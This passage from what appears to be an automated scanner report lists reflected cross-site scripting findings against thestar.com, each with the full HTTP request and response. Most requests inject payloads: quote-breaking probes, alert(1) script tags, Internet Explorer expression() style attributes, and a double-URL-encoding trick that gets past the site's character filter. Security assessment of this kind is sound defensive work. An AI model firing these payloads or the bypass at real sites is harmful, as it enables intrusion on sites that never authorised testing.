<scr'+'ipt language="javascript1.1" src="http://adserver.adtechus.com/addyn/3.0/5214.1/987201/0/-1/ADTECH;loc=100;target=_blank;alias=thestar_includes950de';e3346b4910_columnist_hub_237x90_1;size=237x90;key=;grp='+window.adgroupid+';misc='+new Date().getTime()+';aduho='+offset+';rdclick=">
...[SNIP]...

1.11. http://www.thestar.com/includes/columnist [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.thestar.com
Path:	/includes/columnist

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 772f9'%3b35176592f2 was submitted in the REST URL parameter 2. This input was echoed as 772f9';35176592f2 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Request

GET /includes/columnist772f9'%3b35176592f2?Query=FullCategory%3A%22/News%22 HTTP/1.1
x-requested-with: XMLHttpRequest
Accept-Language: en-us
Referer: http://www.thestar.com/
Accept: text/html, */*; q=0.01
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Host: www.thestar.com
Proxy-Connection: Keep-Alive
Cookie: BIGipServerTOPS-WebFarm5=604050348.20480.0000; UserLastLogin=2010-11-20 00:17:12; cookieEVar1=standard; s_cc=true; s_vnumb=1290230236629%3E0%3A1; s_vnumb_s=1; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|2673AD10851D12D2-6000012C0002F184[CE]; __utma=129518793.178290496.1290230241.1290230241.1290230241.1; __utmb=129518793.1.10.1290230241; __utmc=129518793; __utmz=129518793.1290230248.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=toronto%20top%20newspapers

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
WS: 2-2
X-TOPS-CacheReason: Speed
cache-control: public, max-age = 300
Date: Sat, 20 Nov 2010 05:22:05 GMT
X-Varnish: 2024501592
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache-Svr: topsvarnish4
X-Cache: MISS
Content-Length: 52790

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.
...[SNIP]...
<scr'+'ipt language="javascript1.1" src="http://adserver.adtechus.com/addyn/3.0/5214.1/987201/0/-1/ADTECH;loc=100;target=_blank;alias=thestar_includes_columnist772f9';35176592f2_hub_237x90_1;size=237x90;key=;grp='+window.adgroupid+';misc='+new Date().getTime()+';aduho='+offset+';rdclick=">
...[SNIP]...

1.12. http://www.thestar.com/includes/headerweather [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.thestar.com
Path:	/includes/headerweather

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 2c407'%3bdcb55b58158 was submitted in the REST URL parameter 1. This input was echoed as 2c407';dcb55b58158 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Request

GET /includes2c407'%3bdcb55b58158/headerweather?CurrentEdition=toronto HTTP/1.1
x-requested-with: XMLHttpRequest
Accept-Language: en-us
Referer: http://www.thestar.com/
Accept: text/html, */*; q=0.01
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Host: www.thestar.com
Proxy-Connection: Keep-Alive
Cookie: BIGipServerTOPS-WebFarm5=604050348.20480.0000; UserLastLogin=2010-11-20 00:17:12; cookieEVar1=standard; s_cc=true; s_vnumb=1290230236629%3E0%3A1; s_vnumb_s=1; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|2673AD10851D12D2-6000012C0002F184[CE]; __utma=129518793.178290496.1290230241.1290230241.1290230241.1; __utmb=129518793.1.10.1290230241; __utmc=129518793; __utmz=129518793.1290230248.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=toronto%20top%20newspapers

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Expires: Sat, 20 Nov 2010 05:21:28 GMT
Vary: Accept-Encoding
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
WS: 2-5
cache-control: public, max-age = 120
X-TOPS-CacheReason: Weather
Date: Sat, 20 Nov 2010 05:21:29 GMT
X-Varnish: 2024498659
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache-Svr: topsvarnish4
X-Cache: MISS
Content-Length: 53068

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.
...[SNIP]...
<scr'+'ipt language="javascript1.1" src="http://adserver.adtechus.com/addyn/3.0/5214.1/987201/0/-1/ADTECH;loc=100;target=_blank;alias=thestar_includes2c407';dcb55b58158_headerweather_hub_237x90_1;size=237x90;key=;grp='+window.adgroupid+';misc='+new Date().getTime()+';aduho='+offset+';rdclick=">
...[SNIP]...

1.13. http://www.thestar.com/includes/headerweather [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.thestar.com
Path:	/includes/headerweather

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 4cfe7'%3b45a2a50f6e3 was submitted in the REST URL parameter 2. This input was echoed as 4cfe7';45a2a50f6e3 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Request

GET /includes/headerweather4cfe7'%3b45a2a50f6e3?CurrentEdition=toronto HTTP/1.1
x-requested-with: XMLHttpRequest
Accept-Language: en-us
Referer: http://www.thestar.com/
Accept: text/html, */*; q=0.01
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Host: www.thestar.com
Proxy-Connection: Keep-Alive
Cookie: BIGipServerTOPS-WebFarm5=604050348.20480.0000; UserLastLogin=2010-11-20 00:17:12; cookieEVar1=standard; s_cc=true; s_vnumb=1290230236629%3E0%3A1; s_vnumb_s=1; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|2673AD10851D12D2-6000012C0002F184[CE]; __utma=129518793.178290496.1290230241.1290230241.1290230241.1; __utmb=129518793.1.10.1290230241; __utmc=129518793; __utmz=129518793.1290230248.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=toronto%20top%20newspapers

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Expires: Sat, 20 Nov 2010 05:22:11 GMT
Vary: Accept-Encoding
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
WS: 2-2
cache-control: public, max-age = 120
X-TOPS-CacheReason: Weather
Date: Sat, 20 Nov 2010 05:22:12 GMT
X-Varnish: 2024502229
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache-Svr: topsvarnish4
X-Cache: MISS
Content-Length: 52942

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.
...[SNIP]...
<scr'+'ipt language="javascript1.1" src="http://adserver.adtechus.com/addyn/3.0/5214.1/987201/0/-1/ADTECH;loc=100;target=_blank;alias=thestar_includes_headerweather4cfe7';45a2a50f6e3_hub_237x90_1;size=237x90;key=;grp='+window.adgroupid+';misc='+new Date().getTime()+';aduho='+offset+';rdclick=">
...[SNIP]...

1.14. http://www.thestar.com/includes/stockmarket [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.thestar.com
Path:	/includes/stockmarket

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload eb0ef'%3b66039811f75 was submitted in the REST URL parameter 1. This input was echoed as eb0ef';66039811f75 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Request

GET /includeseb0ef'%3b66039811f75/stockmarket HTTP/1.1
x-requested-with: XMLHttpRequest
Accept-Language: en-us
Referer: http://www.thestar.com/
Accept: text/html, */*; q=0.01
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Host: www.thestar.com
Proxy-Connection: Keep-Alive
Cookie: BIGipServerTOPS-WebFarm5=604050348.20480.0000; UserLastLogin=2010-11-20 00:17:12; cookieEVar1=standard; s_cc=true; s_vnumb=1290230236629%3E0%3A1; s_vnumb_s=1; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|2673AD10851D12D2-6000012C0002F184[CE]

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
WS: 2-2
X-TOPS-CacheReason: Speed
cache-control: public, max-age = 300
Date: Sat, 20 Nov 2010 05:19:51 GMT
X-Varnish: 2024490891
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache-Svr: topsvarnish4
X-Cache: MISS
Content-Length: 52910

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.
...[SNIP]...
<scr'+'ipt language="javascript1.1" src="http://adserver.adtechus.com/addyn/3.0/5214.1/987201/0/-1/ADTECH;loc=100;target=_blank;alias=thestar_includeseb0ef';66039811f75_stockmarket_hub_237x90_1;size=237x90;key=;grp='+window.adgroupid+';misc='+new Date().getTime()+';aduho='+offset+';rdclick=">
...[SNIP]...

1.15. http://www.thestar.com/includes/stockmarket [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.thestar.com
Path:	/includes/stockmarket

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a9282'%3b67e59303d33 was submitted in the REST URL parameter 2. This input was echoed as a9282';67e59303d33 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Request

GET /includes/stockmarketa9282'%3b67e59303d33 HTTP/1.1
x-requested-with: XMLHttpRequest
Accept-Language: en-us
Referer: http://www.thestar.com/
Accept: text/html, */*; q=0.01
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Host: www.thestar.com
Proxy-Connection: Keep-Alive
Cookie: BIGipServerTOPS-WebFarm5=604050348.20480.0000; UserLastLogin=2010-11-20 00:17:12; cookieEVar1=standard; s_cc=true; s_vnumb=1290230236629%3E0%3A1; s_vnumb_s=1; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|2673AD10851D12D2-6000012C0002F184[CE]

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
WS: 2-3
X-TOPS-CacheReason: Speed
cache-control: public, max-age = 300
Date: Sat, 20 Nov 2010 05:21:04 GMT
X-Varnish: 2024496605
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache-Svr: topsvarnish4
X-Cache: MISS
Content-Length: 52766

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.
...[SNIP]...
<scr'+'ipt language="javascript1.1" src="http://adserver.adtechus.com/addyn/3.0/5214.1/987201/0/-1/ADTECH;loc=100;target=_blank;alias=thestar_includes_stockmarketa9282';67e59303d33_hub_237x90_1;size=237x90;key=;grp='+window.adgroupid+';misc='+new Date().getTime()+';aduho='+offset+';rdclick=">
...[SNIP]...

1.16. http://www.thestar.com/includes/thebreak [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.thestar.com
Path:	/includes/thebreak

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 7f6d9'%3b1ff7382e715 was submitted in the REST URL parameter 1. This input was echoed as 7f6d9';1ff7382e715 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Request

GET /includes7f6d9'%3b1ff7382e715/thebreak HTTP/1.1
x-requested-with: XMLHttpRequest
Accept-Language: en-us
Referer: http://www.thestar.com/
Accept: text/html, */*; q=0.01
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Host: www.thestar.com
Proxy-Connection: Keep-Alive
Cookie: BIGipServerTOPS-WebFarm5=604050348.20480.0000; UserLastLogin=2010-11-20 00:17:12; cookieEVar1=standard; s_cc=true; s_vnumb=1290230236629%3E0%3A1; s_vnumb_s=1; s_sq=%5B%5BB%5D%5D

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
WS: 2-3
X-TOPS-CacheReason: Speed
cache-control: public, max-age = 300
Date: Sat, 20 Nov 2010 05:19:49 GMT
X-Varnish: 2024490511
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache-Svr: topsvarnish4
X-Cache: MISS
Content-Length: 52790

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.
...[SNIP]...
<scr'+'ipt language="javascript1.1" src="http://adserver.adtechus.com/addyn/3.0/5214.1/987201/0/-1/ADTECH;loc=100;target=_blank;alias=thestar_includes7f6d9';1ff7382e715_thebreak_hub_237x90_1;size=237x90;key=;grp='+window.adgroupid+';misc='+new Date().getTime()+';aduho='+offset+';rdclick=">
...[SNIP]...

1.17. http://www.thestar.com/includes/thebreak [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.thestar.com
Path:	/includes/thebreak

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 10338'%3bddee43d21bb was submitted in the REST URL parameter 2. This input was echoed as 10338';ddee43d21bb in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Request

GET /includes/thebreak10338'%3bddee43d21bb HTTP/1.1
x-requested-with: XMLHttpRequest
Accept-Language: en-us
Referer: http://www.thestar.com/
Accept: text/html, */*; q=0.01
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Host: www.thestar.com
Proxy-Connection: Keep-Alive
Cookie: BIGipServerTOPS-WebFarm5=604050348.20480.0000; UserLastLogin=2010-11-20 00:17:12; cookieEVar1=standard; s_cc=true; s_vnumb=1290230236629%3E0%3A1; s_vnumb_s=1; s_sq=%5B%5BB%5D%5D

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
WS: 2-2
X-TOPS-CacheReason: Speed
cache-control: public, max-age = 300
Date: Sat, 20 Nov 2010 05:21:33 GMT
X-Varnish: 2024498922
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache-Svr: topsvarnish4
X-Cache: MISS
Content-Length: 52646

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.
...[SNIP]...
<scr'+'ipt language="javascript1.1" src="http://adserver.adtechus.com/addyn/3.0/5214.1/987201/0/-1/ADTECH;loc=100;target=_blank;alias=thestar_includes_thebreak10338';ddee43d21bb_hub_237x90_1;size=237x90;key=;grp='+window.adgroupid+';misc='+new Date().getTime()+';aduho='+offset+';rdclick=">
...[SNIP]...

1.18. http://www.thestar.com/mostpopular [MP_Home parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.thestar.com
Path:	/mostpopular

Issue detail

The value of the MP_Home request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 822ed"style%3d"x%3aexpression(alert(1))"8aa9f9a601e was submitted in the MP_Home parameter. This input was echoed as 822ed"style="x:expression(alert(1))"8aa9f9a601e in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /mostpopular?category=&WMP_ApplyGoogleAnalytics=true&WMP_Type=Widget&MP_Home=Home822ed"style%3d"x%3aexpression(alert(1))"8aa9f9a601e HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://www.thestar.com/
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: www.thestar.com
Proxy-Connection: Keep-Alive
Cookie: BIGipServerTOPS-WebFarm5=604050348.20480.0000; UserLastLogin=2010-11-20 00:17:12; cookieEVar1=standard; s_cc=true; s_vnumb=1290230236629%3E0%3A1; s_vnumb_s=1; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|2673AD10851D12D2-6000012C0002F184[CE]

Response

1.19. http://www.thestar.com/mostpopular [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.thestar.com
Path:	/mostpopular

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a0169'%3b5abd38ea45a was submitted in the REST URL parameter 1. This input was echoed as a0169';5abd38ea45a in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Request

GET /mostpopulara0169'%3b5abd38ea45a?category=&WMP_ApplyGoogleAnalytics=true&WMP_Type=Widget&MP_Home=Home HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://www.thestar.com/
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: www.thestar.com
Proxy-Connection: Keep-Alive
Cookie: BIGipServerTOPS-WebFarm5=604050348.20480.0000; UserLastLogin=2010-11-20 00:17:12; cookieEVar1=standard; s_cc=true; s_vnumb=1290230236629%3E0%3A1; s_vnumb_s=1; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|2673AD10851D12D2-6000012C0002F184[CE]

Response

1.20. http://www.thestar.com/mostpopular [WMP_Type parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.thestar.com
Path:	/mostpopular

Issue detail

The value of the WMP_Type request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f1b25%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e51f81af5a29 was submitted in the WMP_Type parameter. This input was echoed as f1b25"><script>alert(1)</script>51f81af5a29 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

Request

GET /mostpopular?category=&WMP_ApplyGoogleAnalytics=true&WMP_Type=Widgetf1b25%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e51f81af5a29&MP_Home=Home HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://www.thestar.com/
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: www.thestar.com
Proxy-Connection: Keep-Alive
Cookie: BIGipServerTOPS-WebFarm5=604050348.20480.0000; UserLastLogin=2010-11-20 00:17:12; cookieEVar1=standard; s_cc=true; s_vnumb=1290230236629%3E0%3A1; s_vnumb_s=1; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|2673AD10851D12D2-6000012C0002F184[CE]

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
WS: 2-3
X-TOPS-CacheReason: Speed
cache-control: public, max-age = 300
Date: Sat, 20 Nov 2010 05:19:49 GMT
X-Varnish: 2024490785
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache-Svr: topsvarnish4
X-Cache: MISS
Content-Length: 9115

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head id="Head1"><title>
M
...[SNIP]...
<a href="/moneyville/blog/post/892155--why-is-gas-at-1-10-a-litre" target="_top" onClick="javascript: pageTracker._trackPageview('Home/Widgetf1b25"><script>alert(1)</script>51f81af5a29/MostPopular/MainTab - Most Read/Tab - Today/TheStar/1');">
...[SNIP]...

1.21. http://www.thestar.com/searchresults [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.thestar.com
Path:	/searchresults

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b36a8'%3bc8ce0c058a was submitted in the REST URL parameter 1. This input was echoed as b36a8';c8ce0c058a in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Request

GET /searchresultsb36a8'%3bc8ce0c058a?AssetType=article&stype=genSearch&q=%27%27%27%27&r=all:1 HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
Host: www.thestar.com
Cookie: BIGipServerTOPS-WebFarm5=604050348.20480.0000; UserLastLogin=2010-11-20 00:17:12; cookieEVar1=standard; fbsetting_e52ab4b1285fa2e64697937423b7772b=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; title=ALL DATES; s_cc=true; s_vnumb=1290230236629%3E0%3A1; s_vnumb_s=1; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|2673AD10851D12D2-6000012C0002F184[CE]; __utma=129518793.178290496.1290230241.1290230241.1290230241.1; __utmb=129518793.1.10.1290230241; __utmc=129518793; __utmz=129518793.1290230248.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=toronto%20top%20newspapers

Response

1.22. http://www.thestar.com/searchresults [q parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.thestar.com
Path:	/searchresults

Issue detail

The value of the q request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f3ea1"%3balert(1)//f320609fc5a was submitted in the q parameter. This input was echoed as f3ea1";alert(1)//f320609fc5a in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /searchresults?AssetType=article&stype=genSearch&q=%3E%3Ef3ea1"%3balert(1)//f320609fc5a&r=all:1 HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
Host: www.thestar.com
Cookie: BIGipServerTOPS-WebFarm5=604050348.20480.0000; UserLastLogin=2010-11-20 00:17:12; cookieEVar1=standard; title=ALL DATES; fbsetting_e52ab4b1285fa2e64697937423b7772b=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; s_cc=true; s_vnumb=1290230299170%3E0%3A1; s_vnumb_s=1; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|2673AD10851D12D2-6000012C0002F184[CE]; __utma=129518793.178290496.1290230241.1290230241.1290230241.1; __utmb=129518793.2.10.1290230241; __utmc=129518793; __utmz=129518793.1290230248.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=toronto%20top%20newspapers

Response

1.23. http://www.thestar.com/searchresults [q parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.thestar.com
Path:	/searchresults

Issue detail

The value of the q request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6df3f"style%3d"x%3aexpression(alert(1))"9cfc133791 was submitted in the q parameter. This input was echoed as 6df3f"style="x:expression(alert(1))"9cfc133791 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /searchresults?AssetType=article&stype=genSearch&q=%3E%3E6df3f"style%3d"x%3aexpression(alert(1))"9cfc133791&r=all:1 HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
